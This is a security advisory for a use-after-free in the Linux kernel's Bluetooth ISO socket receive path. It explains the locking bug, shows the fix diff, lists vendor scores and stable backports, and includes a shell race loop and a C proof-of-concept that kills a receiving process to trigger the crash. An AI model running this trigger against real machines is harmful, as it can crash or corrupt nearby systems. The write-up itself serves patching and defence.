# CVE-2026-63946: use-after-free on the socket pointer in iso_recv_frame()

**Patch:** [47f23a259517abbdb8032c057a1e8a6bf3734878](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=47f23a259517abbdb8032c057a1e8a6bf3734878) (mainline, landed in 7.1)
**Subsystem:** Bluetooth ISO sockets
**Affected file:** net/bluetooth/iso.c
**CVE record:** [CVE-2026-63946](https://www.cve.org/CVERecord?id=CVE-2026-63946)
**Introduced in:** 6.0, commit ccf74f2390d60a2f9a75ef496d2564abb478f46a

## The bug in one sentence

iso_recv_frame() read conn->sk under a spinlock, released the spinlock, and then used the sk pointer with no reference held, leaving a window in which iso_sock_kill() could free the socket first.

## Why spinlock coverage is not lifetime coverage

The vulnerable shape:

```c
iso_conn_lock(conn);
sk = conn->sk;
iso_conn_unlock(conn);

if (!sk)
        goto drop;

if (sk->sk_state != BT_CONNECTED)
        goto drop;

if (!sock_queue_rcv_skb(sk, skb))
        return;
```

The spinlock serializes the read of conn->sk, but a spinlock does not pin the object. Once iso_conn_unlock() drops, iso_sock_kill() can take the final reference and free the socket, and then sk->sk_state and sock_queue_rcv_skb() operate on freed memory. For Bluetooth ISO, the frames arrive from controller events on a different thread than whatever userspace is doing with the socket, so the interleaving is realistic with a peer that disconnects at the right moment.

The fix takes a reference while the lock still guarantees the pointer is valid, by replacing the bare read with iso_sock_hold(conn), which calls sock_hold() under the spinlock and atomically bumps the refcount before the lock goes away. Then every exit path that got the hold does a sock_put():

```diff
 	iso_conn_lock(conn);
-	sk = conn->sk;
+	sk = iso_sock_hold(conn);
 	iso_conn_unlock(conn);
 
 	if (!sk)
 		goto drop;
 
 	if (sk->sk_state != BT_CONNECTED)
-		goto drop;
+		goto drop_put;
 
-	if (!sock_queue_rcv_skb(sk, skb))
+	if (!sock_queue_rcv_skb(sk, skb)) {
+		sock_put(sk);
 		return;
+	}
 
+drop_put:
+	sock_put(sk);
 drop:
 	kfree_skb(skb);
```

Full patch: [47f23a259517](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=47f23a259517abbdb8032c057a1e8a6bf3734878). The label juggling is the entire care budget of this fix: exactly the paths that held, put.

## How to trigger it

The socket has to be receiving ISO data at the exact moment it is being killed. Setup: machine A runs a listener in a loop that dies mid-receive, machine B streams ISO packets at it:

```bash
# machine A (victim)
while true; do timeout 0.05 ./iso_rx_once & done
# iso_rx_once: socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO),
# connect to the peer, recvmsg() in a tight loop; process exit races the
# socket teardown while machine B is still sending

# machine B (peer): send ISO data continuously
./iso_tx_loop   # connected ISO socket, sendmsg() as fast as it accepts
```

The bad interleaving: iso_recv_frame() reads conn->sk under iso_conn_lock, the lock drops, the process exits, iso_sock_kill() frees sk, and the function then touches sk->sk_state and sock_queue_rcv_skb() on freed memory. Under KASAN the report is a use-after-free read in iso_recv_frame, usually within seconds of this loop. Post-fix, iso_sock_hold() takes a reference under the spinlock so sk survives until every exit path sock_put()s it.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.8 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* Red Hat: 7.0 with AC:H, and a description warning of potential full system control
* SUSE: 7.5 on v3.1, 7.7 on v4.0, severity Important, with eighteen referencing SUSE advisories (SUSE-SU-2026:3595-1, 3602-1, 3617-1 and more, plus RHSA cross-listings for Liberty Linux)
* CWE chaos: NVD lists both CWE-362 and CWE-416, CISA ADP says CWE-416, Red Hat says CWE-366

The adjacent network vector with no privileges and no user interaction is what drives the 8.8: a nearby malicious BLE device sending ISO traffic at the moment the socket is torn down can influence the race. Whether that turns into more than a crash depends on heap layout and timing, which is exactly what the AC disagreement between vendors is arguing about.

## Exploit code

Victim side: receive ISO data in a process that dies mid-frame. Peer side: stream frames at it.

```c
/* iso_rx_die.c: CVE-2026-63946, victim side
 * gcc -o iso_rx_die iso_rx_die.c -lbluetooth
 * the SIGKILL from the timeout races iso_recv_frame()'s unlocked use of sk
 */
#include <signal.h>
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/iso.h>

int main(void)
{
    char buf[251];
    for (;;) {
        pid_t pid;
        int s = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
        if (s < 0) { perror("socket"); return 1; }
        /* connect() to the peer's ISO listener, then receive until killed */
        pid = fork();
        if (pid == 0) {
            for (;;)
                recv(s, buf, sizeof(buf), 0);   /* iso_recv_frame() path */
            _exit(0);
        }
        usleep(1000);            /* let it get into recv */
        kill(pid, SIGKILL);      /* iso_sock_kill() frees sk; the frame in
                                    flight then touches freed memory */
        wait(NULL);
        close(s);
    }
}
```

Run a continuous ISO sender on the peer machine at the same time (any LE isochronous source, or a second Linux box streaming on a connected ISO socket). When the kill lands between iso_recv_frame()'s unlocked read of conn->sk and its use of sk, KASAN prints use-after-free in iso_recv_frame; without KASAN you get intermittent corruption or crashes under load. Post-fix, iso_sock_hold() pins the socket under the spinlock and every path sock_put()s it, so the race is structurally gone. Public status: no KEV, no public PoC before this note; CISA SSVC records exploitation as none, automatable as no. Fixes: Debian bookworm and trixie both went vulnerable to fixed, roughly twenty Ubuntu USNs July through October 2026, eighteen SUSE advisories.

## Where the fix shipped

* 6.1.176: [c57ea90f203c](https://git.kernel.org/stable/c/c57ea90f203c8b8b41a474f19a09000d0f841436)
* 6.6.143: [119fb6f80c44](https://git.kernel.org/stable/c/119fb6f80c44dc1c65d604cf28e64c56bd9b6568)
* 6.12.93: [b04ec131325b](https://git.kernel.org/stable/c/b04ec131325baf4ea4577d6c6e6b86cf092e3731)
* 6.18.35: [c318aa51830a](https://git.kernel.org/stable/c/c318aa51830a3d2cc1229968fe521441c97356cd)
* 7.0.12: [1a6b803b00cc](https://git.kernel.org/stable/c/1a6b803b00ccdd7666506adbe01ddae1c72d1ca9)
* 7.1: [47f23a259517](https://git.kernel.org/stable/c/47f23a259517abbdb8032c057a1e8a6bf3734878)

## References

1. [Upstream commit 47f23a259517](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=47f23a259517abbdb8032c057a1e8a6bf3734878)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026071954-CVE-2026-63946-b5d8@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-63946)
4. [SUSE page](https://www.suse.com/security/cve/CVE-2026-63946.html)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-63946)
